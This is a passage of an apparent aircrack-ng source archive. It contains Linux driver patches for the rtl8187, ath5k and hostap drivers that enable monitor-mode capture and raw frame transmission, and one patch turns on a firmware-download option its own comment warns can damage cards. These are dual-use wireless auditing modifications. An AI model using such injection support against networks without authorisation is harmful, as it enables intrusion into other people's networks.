-2346,7 +2394,8 @@ if( flen <= rx_urb->actual_length){ - stats.signal = (desc[1] & 0x7f00)>>8; +// stats.signal = (desc[1] & 0x7f00)>>8; + stats.signal = (desc[1] & 0xff00)>>8; stats.noise = desc[1] &0xff; stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; @@ -2368,6 +2417,8 @@ // priv->rxskb = skb; // priv->tempstats = &stats; + + stats.signal -= stats.noise; if(!ieee80211_rx(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); @@ -2418,7 +2469,12 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; if (dev_alloc_name(dev, ifname) < 0){ diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_txpower/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187.h 2007-02-17 13:42:57.197249035 +0100 @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -148,7 +151,7 @@ u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; // struct timer_list scan_timer; /*short scanpending; diff -Naur rtl8187_orig/beta-8187/r8187.mod.c rtl8187_txpower/beta-8187/r8187.mod.c --- rtl8187_orig/beta-8187/r8187.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8187.mod.c 2007-02-17 13:42:53.827198198 +0100 @@ -0,0 +1,25 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends=ieee80211-rtl"; + +MODULE_ALIAS("usb:v0BDAp8187d*dc*dsc*dp*ic*isc*ip*"); +MODULE_ALIAS("usb:v0846p6100d*dc*dsc*dp*ic*isc*ip*"); +MODULE_ALIAS("usb:v0846p6A00d*dc*dsc*dp*ic*isc*ip*"); + +MODULE_INFO(srcversion, "B76939EB1EA6331677B0BFF"); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_txpower/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.c 2007-02-17 13:43:15.707528258 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c 2007-02-17 13:43:15.707528258 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,20 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + #include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c 2007-02-17 13:43:15.737528711 +0100 @@ -0,0 +1,20 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends=ieee80211_crypt"; + diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt-rtl.mod.c --- rtl8187_orig/ieee80211/ieee80211_crypt-rtl.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt-rtl.mod.c 2007-02-17 13:43:15.747528862 +0100 @@ -0,0 +1,20 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends="; + diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c 2007-02-17 13:43:15.797529616 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -431,7 +439,11 @@ static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret=0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,12 +457,21 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; - return 0; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif + + return ret; } static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip-rtl.mod.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip-rtl.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip-rtl.mod.c 2007-02-17 13:43:15.827530068 +0100 @@ -0,0 +1,20 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends=ieee80211_crypt"; + diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c 2007-02-17 13:43:15.837530219 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep-rtl.mod.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep-rtl.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep-rtl.mod.c 2007-02-17 13:43:15.877530823 +0100 @@ -0,0 +1,20 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends=ieee80211_crypt"; + diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_txpower/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211.h 2007-02-17 13:43:11.897470784 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_txpower/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_module.c 2007-02-17 13:43:15.907531275 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); diff -Naur rtl8187_orig/ieee80211/ieee80211-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211-rtl.mod.c --- rtl8187_orig/ieee80211/ieee80211-rtl.mod.c 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211-rtl.mod.c 2007-02-17 13:43:15.937531728 +0100 @@ -0,0 +1,16 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends=ieee80211_crypt"; + diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_txpower/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_rx.c 2007-02-17 13:43:15.947531879 +0100 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,83 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + + #include "ieee80211.h" static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_txpower/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac.c 2007-02-17 13:43:15.987532482 +0100 @@ -386,9 +386,8 @@ void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) { - down(&ieee->scan_sem); - short watchdog = 0; + down(&ieee->scan_sem); do{ ieee->current_network.channel = @@ -1467,12 +1466,13 @@ u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; @@ -2165,12 +2165,21 @@ ieee->wq = create_workqueue(DRV_NAME); #endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq); +#endif sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c 2007-02-17 13:43:16.057533538 +0100 @@ -134,14 +134,14 @@ u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - struct sockaddr *temp = (struct sockaddr *)awrq; - + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; @@ -245,8 +245,7 @@ goto out; if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_txpower/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_tx.c 2007-02-17 13:43:16.057533538 +0100 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" @@ -458,7 +461,8 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; diff -Naur rtl8187_orig/makedrv rtl8187_txpower/makedrv --- rtl8187_orig/makedrv 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_txpower/makedrv 2007-02-17 13:42:37.616953671 +0100 @@ -5,6 +5,7 @@ cd ieee80211 make clean make +cp Module.symvers beta-8187/ cd ../beta-8187 make clean make diff -Naur rtl8187_orig/makedrvbk rtl8187_txpower/makedrvbk --- rtl8187_orig/makedrvbk 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_txpower/makedrvbk 2007-02-17 13:42:41.357010089 +0100 @@ -1,9 +1,11 @@ #!/bin/bash cd ieee80211/ +rm Module.symvers make clean make cd - +cp ieee80211/Module.symvers beta-8187/ cd beta-8187/ make clean make aircrack-ng-1.2-beta3/patches/fix_ath5k_no_data_in_monitor_mode.patch0000644000000000000000000000414111376270013024507 0ustar rootrootThanks to Weedy who did an awesome work tracking this down diff --git a/drivers/net/wireless/ath/ath5k/base.c b/drivers/net/wireless/ath/ath5k/base.c index c4adf98..5056410 100644 --- a/drivers/net/wireless/ath/ath5k/base.c +++ b/drivers/net/wireless/ath/ath5k/base.c @@ -2918,8 +2918,6 @@ static void ath5k_configure_filter(struct ieee80211_hw *hw, struct ath5k_hw *ah = sc->ah; u32 mfilt[2], rfilt; - mutex_lock(&sc->lock); - mfilt[0] = multicast; mfilt[1] = multicast >> 32; @@ -2970,25 +2968,22 @@ static void ath5k_configure_filter(struct ieee80211_hw *hw, /* XXX move these to mac80211, and add a beacon IFF flag to mac80211 */ - switch (sc->opmode) { - case NL80211_IFTYPE_MESH_POINT: - case NL80211_IFTYPE_MONITOR: - rfilt |= AR5K_RX_FILTER_CONTROL | - AR5K_RX_FILTER_BEACON | - AR5K_RX_FILTER_PROBEREQ | - AR5K_RX_FILTER_PROM; - break; - case NL80211_IFTYPE_AP: - case NL80211_IFTYPE_ADHOC: - rfilt |= AR5K_RX_FILTER_PROBEREQ | - AR5K_RX_FILTER_BEACON; - break; - case NL80211_IFTYPE_STATION: - if (sc->assoc) - rfilt |= AR5K_RX_FILTER_BEACON; - default: - break; - } + if (sc->opmode == NL80211_IFTYPE_MONITOR) + rfilt |= AR5K_RX_FILTER_CONTROL | AR5K_RX_FILTER_BEACON | + AR5K_RX_FILTER_PROBEREQ | AR5K_RX_FILTER_PROM; + if (sc->opmode != NL80211_IFTYPE_STATION) + rfilt |= AR5K_RX_FILTER_PROBEREQ; + if (sc->opmode != NL80211_IFTYPE_AP && + sc->opmode != NL80211_IFTYPE_MESH_POINT && + test_bit(ATH_STAT_PROMISC, sc->status)) + rfilt |= AR5K_RX_FILTER_PROM; + if ((sc->opmode == NL80211_IFTYPE_STATION && sc->assoc) || + sc->opmode == NL80211_IFTYPE_ADHOC || + sc->opmode == NL80211_IFTYPE_AP) + rfilt |= AR5K_RX_FILTER_BEACON; + if (sc->opmode == NL80211_IFTYPE_MESH_POINT) + rfilt |= AR5K_RX_FILTER_CONTROL | AR5K_RX_FILTER_BEACON | + AR5K_RX_FILTER_PROBEREQ | AR5K_RX_FILTER_PROM; /* Set filters */ ath5k_hw_set_rx_filter(ah, rfilt); @@ -2998,8 +2993,6 @@ static void ath5k_configure_filter(struct ieee80211_hw *hw, /* Set the cached hw filter flags, this will alter actually * be set in HW */ sc->filter_flags = rfilt; - - mutex_unlock(&sc->lock); } static int aircrack-ng-1.2-beta3/patches/hostap-driver-0.4.7.patch0000644000000000000000000004603110761053203021133 0ustar rootrootdiff -ur hostap-driver-0.4.7/driver/etc/hostap_cs.conf hostap-driver-0.4.7-aircrack-ng/driver/etc/hostap_cs.conf --- hostap-driver-0.4.7/driver/etc/hostap_cs.conf 2005-11-06 14:01:09.000000000 -0500 +++ hostap-driver-0.4.7-aircrack-ng/driver/etc/hostap_cs.conf 2006-03-20 14:45:13.000000000 -0500 @@ -102,17 +102,17 @@ card "Level-One WPC-0100" version "Digital Data Communications", "WPC-0100", "Version 00.00" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Belkin 802.11b WLAN PCMCIA" version "Belkin", "11Mbps Wireless Notebook Network Adapter", "Version 01.02" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Senao SL-2011CD/SL-2011CDPLUS" version "INTERSIL", "HFA384x/IEEE", "Version 01.02" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Fulbond Airbond XI-300B" diff -ur hostap-driver-0.4.7/driver/modules/hostap_80211_tx.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_80211_tx.c --- hostap-driver-0.4.7/driver/modules/hostap_80211_tx.c 2005-08-06 13:55:14.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_80211_tx.c 2006-03-20 14:45:13.000000000 -0500 @@ -51,6 +51,9 @@ int to_assoc_ap = 0; struct hostap_skb_tx_data *meta; + if (local->iw_mode == IW_MODE_MONITOR) + goto xmit; + if (skb->len < ETH_HLEN) { printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb " "(len=%d)\n", dev->name, skb->len); @@ -216,6 +219,7 @@ memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN); } +xmit: iface->stats.tx_packets++; iface->stats.tx_bytes += skb->len; @@ -377,8 +381,6 @@ } if (skb->len < 24) { - printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb " - "(len=%d)\n", dev->name, skb->len); ret = 0; iface->stats.tx_dropped++; goto fail; diff -ur hostap-driver-0.4.7/driver/modules/hostap.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap.c --- hostap-driver-0.4.7/driver/modules/hostap.c 2005-08-06 13:47:10.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap.c 2006-03-20 14:45:13.000000000 -0500 @@ -407,7 +407,7 @@ if (local->iw_mode == IW_MODE_REPEAT) return HFA384X_PORTTYPE_WDS; if (local->iw_mode == IW_MODE_MONITOR) - return HFA384X_PORTTYPE_PSEUDO_IBSS; + return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/ return HFA384X_PORTTYPE_HOSTAP; } diff -ur hostap-driver-0.4.7/driver/modules/hostap_config.h hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_config.h --- hostap-driver-0.4.7/driver/modules/hostap_config.h 2005-11-20 20:42:12.000000000 -0500 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_config.h 2006-03-20 14:45:13.000000000 -0500 @@ -59,7 +59,7 @@ * In addition, please note that it is possible to kill your card with * non-volatile download if you are using incorrect image. This feature has not * been fully tested, so please be careful with it. */ -/* #define PRISM2_NON_VOLATILE_DOWNLOAD */ +#define PRISM2_NON_VOLATILE_DOWNLOAD #endif /* PRISM2_DOWNLOAD_SUPPORT */ /* Include wireless extensions sub-ioctl support even if wireless extensions diff -ur hostap-driver-0.4.7/driver/modules/hostap_cs.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_cs.c --- hostap-driver-0.4.7/driver/modules/hostap_cs.c 2005-11-06 14:01:09.000000000 -0500 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_cs.c 2006-03-20 15:11:53.000000000 -0500 @@ -929,53 +929,98 @@ #if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,67) #if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,13)) static struct pcmcia_device_id hostap_cs_ids[] = { - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), - PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), - PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), - PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x1668, 0x0101), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), - PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", - 0x7a954bd9, 0x74be00c6), - PCMCIA_DEVICE_PROD_ID1234( - "Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", - "Eval-RevA", - 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), - PCMCIA_DEVICE_PROD_ID123( - "Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", - 0xe6ec52ce, 0x08649af2, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", - 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "Instant Wireless ", " Network PC CARD", "Version 01.02", - 0x11d901af, 0x6e9bd926, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "SMC", "SMC2632W", "Version 01.02", - 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", - 0x54f7c49c, 0x15a75e5b), - PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", - 0x74c5e40d, 0xdb472a18), - PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", - 0x0733cc81, 0x0c52f395), - 